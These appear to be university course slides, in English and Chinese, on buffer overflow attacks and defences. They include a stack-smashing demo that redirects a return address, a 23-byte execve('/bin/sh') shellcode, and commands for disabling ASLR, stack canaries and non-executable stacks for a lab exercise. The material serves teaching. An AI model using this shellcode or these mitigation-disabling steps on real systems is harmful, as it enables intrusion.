

# **Module II. Internet Security**

# **Network Attack and Defence**

**Web Security: Theory & Applications** 

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# **Outline**

#### 5.1 Overview

- Network Security Crisis
- Hacking & Hackers
- Network Threats
- Steps of Network Attack
- Methods of Network Defense

#### 5.2 Network Attacks

- Computer Network Attack
- Common Types of Network Attack
- Port Scan
- Idle Scan

## 5.3 Password Cracking

- The Vulnerability of Passwords
- Password Selection Strategies
- Password Cracking
- Password Cracking Tools



# **Outline**

#### • 5.4 Buffer Overflow

- Background
- Classification
- Practicalities
- Protection

## • 5.5 Spoofing Attack

- DNS Spoofing
- Web Spoofing

## **5.4.1 Background**

#### Definition

A buffer overflow occurs when a program, while writing data to a buffer,
 overruns the buffer's boundary and overwrites adjacent memory.

#### Destruction

- This vulnerability can be utilized to
  - ♦ alter the flow control of the program

## **5.4.1 Background**

- 缓冲区溢出的技术背景
  - 应用程序的外部输入没有经过检查就被插入内存,形成缓冲区溢出的脆弱性。
  - 如果插入的数据长度超过为此分配的内存空间的长度,将发生缓冲 区溢出事件。
  - 溢出的内容覆盖在合法数据上,属于一种内存级别上的篡改,带来的危害有:
    - ◇ 程序崩溃导致的拒绝服务
    - → 程序的控制流被修改,甚至被转向执行一段嵌入的恶意代码, 比如得到高权限的 shellcode

## **5.4.1 Background**

- 缓冲区溢出的技术背景
  - 缓冲区溢出是计算机历史上被利用的第一批安全错误之一,其中最著名的例子是1988年利用 fingerd 漏洞的蠕虫,它曾造成了全世界6000多台网络服务器的瘫痪。目前,缓冲区溢出仍然是最经常发生也是最危险的脆弱点,针对缓冲区溢出的攻击常常是系统入侵的基础。


## **5.4.1 Background**

## Process virtual memory

- For Windows, each process maps either 2<sup>32</sup> or 2<sup>64</sup> bytes of memory, depending on whether the OS is running in 32 or 64-bit mode. This works out to 4GB or 16TB memory space
- The virtual memory is used as address space that can be mapped to actual memory resources.
- \*\* The size of physical or virtual space depends on CPU, OS, and Architecture of mainboards.


## **5.4.1 Background**

Layout of Structure of the Virtual Address Space on IA-32



## 5.4.1 Background

- 进程地址空间结构
  - 每个进程得到一个虚拟地址空间,分为6个部分:
    - ◆ Kernel: 由操作系统分配,是进程相关的运行环境。



Arrangement of the Linux kernel in RAM memory

## 5.4.1 Background

- 进程地址空间结构
  - 每个进程得到一个虚拟地址空间,分为6个部分:
    - ◇ stack: 保存进程运行过程中所调用函数的相关信息,如局部变量、参数、返回值等。遵循先进后出的原则,分配时向低地址发展。
    - → mmap: 内存映射 (linux 2.6.7 后向下增长)。
    - ◆ heap: 保存进程运行中动态分配的数据 (如 malloc, new 申请的数据空间),分配时向高地址发展。
    - ◇ .bss、.data: 都是 heap 结构,但其空间在编译时预先分配。.bss 保存未初始化的全局变量和静态变量, .data 保存初始化的(0值)全局变量和静态变量。
    - ◇ .text:只读结构的代码段,保存程序的机器码和常量。



#### 5.4.1 Background

#### Buffers' Structure

- Buffer 可以位于 stack 段、heap 段、.bss 段或 .data 段,向高地址填充(与 stack 相反,和 heap 相同)。
- 在C、C++语言里,字符串只以 '\0' 作为结束符,没有任何的边界检查,故缓冲区非常容易溢出。
- Example.

```
char *strcpy( char *dest, const char *src)
{
    char *tmp=dest;
    while( ( *dest++ = *src++) != '\0');
    return tmp;
}
```

## 5.4.1 Background

- Buffers' Structure
  - Example.

```
#include<stdio.h>
#include<string.h>
void main()
 int access;
 char password[4];
 while(1)
   access=0;
   scanf("%s",password);
   if (strcmp(password,"2012") == 0)
    access = 1;
   if (access != 0)
    printf("Welcome back\n");
   else
    printf("Error\n");
```



#### 5.4.1 Background

- Buffers' Structure
  - Example.
  - Run


```
chan@chan-desktop:~/桌面/ex$ gcc 1.c -o a
chan@chan-desktop:~/桌面/ex$ ./a
2012
Welcome back
123
Error
1234
Error
12345
Welcome back
```

◆ 这是一个有漏洞的模拟登录系统。当输入的字符串位数大于4时,几乎任何的口令都能通过验证。这是因为此时的 password 发生了溢出,覆盖了地址位于其上的 access 变量。事实上,当输入字符串位数等于4时就已发生缓冲区溢出,只是刚好溢出的内容是 '\0' (ASII码 00),所以 access 仍然等于0,验证失败,系统仍"正常"工作。

# 5.4.1 Background

- Buffers' Structure
  - Example.

#### High address




Low address



# 5.4.1 Background

- Buffers' Structure
  - Example.

#### High address




Low address



# 5.4.1 Background

- Buffers' Structure
  - Example.

#### High address



Low address



## **5.4.1 Background**

## Cause of Buffer Overflow Vulnerability


- No boundary checking
- Mixing of the storage for data and the storage for controls.
- An overflow in the data part can affect the control flow of the program,
   because an overflow can change the return address.

#### **5.4.2 Classification**

- Two Kinds of Buffer Overflow
  - Stack buffer overflow
  - Heap buffer overflow

#### **5.4.2 Classification**

- Stack Buffer Overflow
  - Frame structure of a stack



ESP 指向栈顶 EBP 用于访问变量 stack 结构向低地址发展



#### **5.4.2 Classification**

- Stack Buffer Overflow
  - Constructing of a stack frame
  - Example.

```
#include <stdio.h>
  void function(int m, int n)
  {
    int a;
    char b[5];
  }
  int main()
  {
    function(2, 3);
    return 0;
  }
```

#### **5.4.2 Classification**

- Stack Buffer Overflow
  - Constructing of a stack frame

```
0x08048415 <+6>: sub $0x10,%esp

=> 0x08048418 <+9>: movl $0x3,0x4(%esp)

0x08048420 <+17>: movl $0x2,(%esp)

0x08048427 <+24>: call 0x80483e4 <function>

0x0804842c <+29>: mov $0x0,%eax
```

◆ function 被调用前,首先要将其实参 (从右到左) 压栈,然后调用 call 指令, call 指令跳转 function 并把 function运行完后的下一条 指令指针压栈,这里是 0x0804842c。此时的栈空间如下:

3 2 0x0804842c

#### **5.4.2 Classification**

- Stack Buffer Overflow
  - Constructing of a stack frame

```
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: sub $0x28,%esp
```

♦ function 被调用时,首先把当前 EBP 压栈,再把 ESP 的值赋予 EBP,最后为局部变量 (按顺序)申请足够的空间。此时的空间栈

如下

3
2
0x0804842c
pre EBP
a
b



#### **5.4.2 Classification**

- Stack Buffer Overflow
  - Constructing of a stack frame

0x0804840d <+41>: leave 0x0804840e <+42>: ret

◆ function 执行完后, leave 指令恢复 EBP 和 ESP 被调用前的值, 栈帧被弹出。Ret 指令把下一指令的地址 (0x0804842c) 赋给指 令地址寄存器 EIP。

#### **5.4.2 Classification**

## Heap Buffer Overflow

- Heap 的缓冲区溢出跟 stack 的类似,但 heap 内没有存放控制信息 (比如返回地址)。因此 heap 的缓冲区溢出的结果只能改写相邻变量 的值。
- Heap 结构 (包括 heap 段、.bss 段和 .data 段) 向高地址发展



#### **5.4.3 Practicalities**

- Changing the Flow Control of a Process
  - Finding the *address of buffer* that can be exploited
  - Finding the address of the memory that stores the *return address*
  - Replacing it with the *address of code* you want to execute by overflowing the buffer

#### **5.4.3 Practicalities**

- Changing the Flow Control of a Process
  - Example.

```
#include "stdio.h"

#include "string.h"

char code[]=

"\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x41\x41\x41\x41"

"\x82\x84\x04\x08"

"\x00";

void cop
{ char b
 strcpy
printf()
}

void bug
{ printf()
}

int main
{ copy()
return
```

```
void copy(const char *input)
{    char buf[10];
    strcpy(buf, input);
    printf("%s \n", buf);
}

void bug(void)
{    printf("I shouldn't have appeared\n");
}

int main(int argc, char *argv[])
{    copy(code);
    return 0;
}
```

 The target is to make main jump to "bug" after "strcpy". The position of next instruction after "strcpy" is 0x080484ab

```
(qdb) disasse main
Dump of assembler code for function main:
   0x08048496 <+0>:
                        push
                               %ebp
   0x08048497 <+1>:
                               %esp,%ebp
                        mov
                                $0xffffffff0,%esp
                        and
   0x08048499 <+3>:
                                $0x10,%esp
   0x0804849c <+6>:
                        sub
                               $0x804a01c,(%esp)
   0x0804849f <+9>:
                        movl
   0x080484a6 <+16>:
                        call
                               0x8048454 <copy>
   0x080484ab <+21>:
                               $0x0,%eax
                        mov
```

Get the value of esp

Check the stack content before "strcpy", find the 0x080484ab

```
(gdb) x/20x 0xbffff3a0
0xbfffff3a0:
                0x00283ff4
                                 0x08049ff4
                                                  0xbffff3b8
                                                                   0x08048330
0xbffff3b0:
                                                  0xbffff3e8
                                                                   0x080484e9
                0x0011e0c0
                                 0x08049ff4
0xbffff3c0:
                0x00284324
                                 0x00283ff4
                                                  0xbffff3e8
                                                                   0x080484ab
```

Check the jump address (bug) 0x08048482

```
(gdb) disass bug
Dump of assembler code for function bug:
0x08048482 <+0>: push %ebp
```

Next step: overflow the stack and jump to the "bug"

```
(gdb) s
            printf("%s \n",buf);
(qdb) x/20x 0xbfffff3a0
0xbffff3a0:
                0xbffff3b6
                                 0x0804a01c
                                                 0xbffff3b8
                                                                  0x08048330
0xbffff3b0:
                0x0011e0c0
                                 0x41419ff4
                                                 0x41414141
                                                                  0x41414141
0xbfffff3c0:
                0x41414141
                                                                  0x08048482
                                 0x41414141
                                                 0x41414141
```

Result as

```
chan@chan-desktop:~/桌面/ex$ ./a.out
AAAAAAAAAAAAAAAAAAAAAAA
I shouldn't have appeared
段错误
```

上面出现的段错误是因为对 "bug" 的调用不是由 call 指令激活,
 下一指令的地址没有压栈,以至于 "bug" 执行完毕后跳转到一个不能执行的地址。尽管如此,攻击目的已经达成。

#### **5.4.3 Practicalities**

- Practice.
  - Finish the attack as shown above, tell me how the stack frame changed.
  - If you are on GNU, you need to do

```
sudo sysctl -w kernel.randomize_va_space=0
```

and use the option

-fno-stack-protector

for gcc compiler.

#### **5.4.3 Practicalities**

## Executing Malicious code

- Finding the *address of buffer* that can be exploited
- Finding the address of the memory that stores the *return address*
- Replacing it with the *address of shell code* you want to execute by overflowing the buffer

#### **5.4.3 Practicalities**

- Executing Malicious code
  - Example.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
//本段初始化成 shellcode 的机器
    码
int bof(char *str)
{ char buffer[30];
  printf("%p\n", &buffer);
  strcpy(buffer, str);
  return 0;
```

```
int main()
{ char str[56];
  int i;
  strcpy(str, shellcode);
  for (i=0;i<18;i++)
    str[strlen(shellcode)+i]='a';
  i=strlen(shellcode)+i;
  strcpy(&str[i], "\x82\xf3\xff\xbf");
  bof(str);
  printf("Returned Properly\n");
  return 0;
```

#### **5.4.3 Practicalities**

## Executing Malicious code

- About shellcode: linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) of 23 bytes, see also:
- <u>http://www.hackbase.com/subject/2010-01-04/17401.html</u>

```
char shellcode[] =
1.
  "\x6a\x0b"
                             // push $0xb
2.
    "\x58"
3.
                             // pop %eax
4. "\x99"
                             // cltd
5. "\x52"
                             // push %edx
6. "x68x2fx73x68"
                             // push $0x68732f2f
7. "\x68\x2f\x62\x69\x6e"
                             // push $0x6e69622f
8. "\x89\xe3"
                             // mov %esp, %ebx
    "\x52"
9.
                             // push %edx
10. "\x53"
                             // push %ebx
11. "\x89\xe1"
                             // mov %esp, %ecx
12. "\xcd\x80";
                             // int $0x80
```

#### **5.4.4 Protection**

- Some Methods to Protect against Buffer Overflow
  - Safer Language
  - Libsafe
  - Canary Value
  - Address Space Layout Randomization
  - Non-executable Program Memory

#### **5.4.4 Protection**

## Safer Language

- Use higher level language: Lisp or Java
- Perform additional boundary checks at runtime
- Disadvantages
  - ♦ Overheads could be significant
  - → Tons of C/C++ software need to be rewritten

#### **5.4.4 Protection**

## Safer Language

- 从编程者的角度看,程序员或许可以选择更为安全的语言。Java 和
   Objective-C (e.g., used in iOS) 语言都提供了缓冲区的边界检查,这样可以从根本上抵抗缓冲区溢出攻击。
- 缺点
  - ◇ 提供这样的边界检测可能需要付出相当的开销。
  - ◆ 有太多以 C、C++ 等语言编写的程序,全部重写并不现实。



#### **5.4.4 Protection**

#### Libsafe

- Libsafe is a dynamic library that overrides some of the unsafe functions of the lib C.
- Libsafe 是一个动态函数链接库,它在编译时,能自动检测程序中不安全的 C 标准库函数,并将其替换为含边界检测的函数,而不改变语义。

#### Disadvantages

- ♦ Does not prevent local variables from being overwritten
- ♦ Only protects calls to functions in the standard C library
  - 。 只检测 C 标准库函数。

#### **5.4.4 Protection**

## Canary Value

- Known values (Canary Values) are placed between a buffer (user data)
   and control data on the stack to monitor buffer overflows
- Examples.
  - ♦ StackGuard, by Crispin Cowan, for GCC-GNU Compiler Collection
  - ♦ Stack Smashing Protector (SSP), by Hiroaki Etoh of IBM
- Disadvantages
  - ♦ Need to recompile programs which requires source codes
  - ♦ Checks only when functions return



#### **5.4.4 Protection**

## Canary Value

- Canary Value 是在编译阶段被植入栈中、位于存储数据和控制信息之间的值,用于检测缓冲区溢出。任何企图通过缓冲区溢出改变栈的控制信息的攻击,都将对 Canary Value 产生覆盖。当函数返回时,进程将判断该值是否改变,从而判定是否发生了缓冲区溢出攻击。
  - ◇ 因为是在编译期间插入的值,需要对受保护的软件的源码进行 再编译,没有源码的软件无法实现保护。同时,检测只在函数 返回时进行,若攻击者在此之前就已达到目的,则防护措施失 去意义。
- For GNU, use the compile option to turn off this protection:

-fno-stack-protector



#### **5.4.4 Protection**

- Canary Value
  - Two kinds of stack frame using Canary Value

Return address
Canary value
Pre EBP
buffer
•

Return address

Pre EBP

Canary value

buffer

StackGuard

SSP

#### **5.4.4 Protection**

## Canary Value

- StackGuard 和 Stack Smashing Protector (SSP) 都是 Canary Value 的实现实例,用于 GNU Compiler Collection。前者的 Canary Value 介于 return address 和 pre EBP 之间,仅保护 return address;后者介于 pre EBP 和局部变量之间,保护 return address 和 pre EBP。
- 编译器 gcc 缺省开启 SSP, 编译选项

-fno-stack-protector

可屏蔽该功能。

#### **5.4.4 Protection**

## Address Space Layout Randomization

- Introduces randomness into the address space
- Increases security by increasing the search space
- Forces attackers to tailor the exploitation attempt to the individual system
- For GNU, use the following commands to turn off the protection :
   sudo sysctl –w kernel.randomize\_va\_space=0

#### 5.4.4 Protection

## Address Space Layout Randomization

- 进程地址空间随机化使每次运行的进程的地址空间都不一样,加大了攻击者定位的困难,强迫攻击者对每次攻击做个性化的处理。
- 增加了攻击者实行缓冲区溢出攻击的难度,但不能阻止攻击。
- GNU 默认开启进程地址空间随机化,关闭命令:

sudo sysctl -w kernel.randomize\_va\_space=0



#### **5.4.4 Protection**

- Non-executable Program Memory
  - Prevent execution of code on the stack or the heap
  - Examples.
    - ♦ Exec Shield, PaX, Openwall
  - Disadvantages
    - ♦ Does not protect against return-to-libc attacks
    - ♦ Keeps some dynamic languages, such as Lisp and Objective-C, from running properly
  - For GNU, use the compile option to turn off the protection:
    - -z execstack



#### **5.4.4 Protection**

- Non-executable Program Memory
  - 将栈和堆的内容设置为不可运行,可以抵抗大部分溢出攻击。但对 已运行嵌入代码的攻击无效。

    - ◆ 某些程序语言如 Lisp, Objective-C 等为追求效率会把一些代码放进堆栈。若堆栈不可运行,则这些语言功能无法工作。
  - Ubuntu 默认开启 Exec-shield 保护,若要关闭需在编译时,加上选项-z execstack



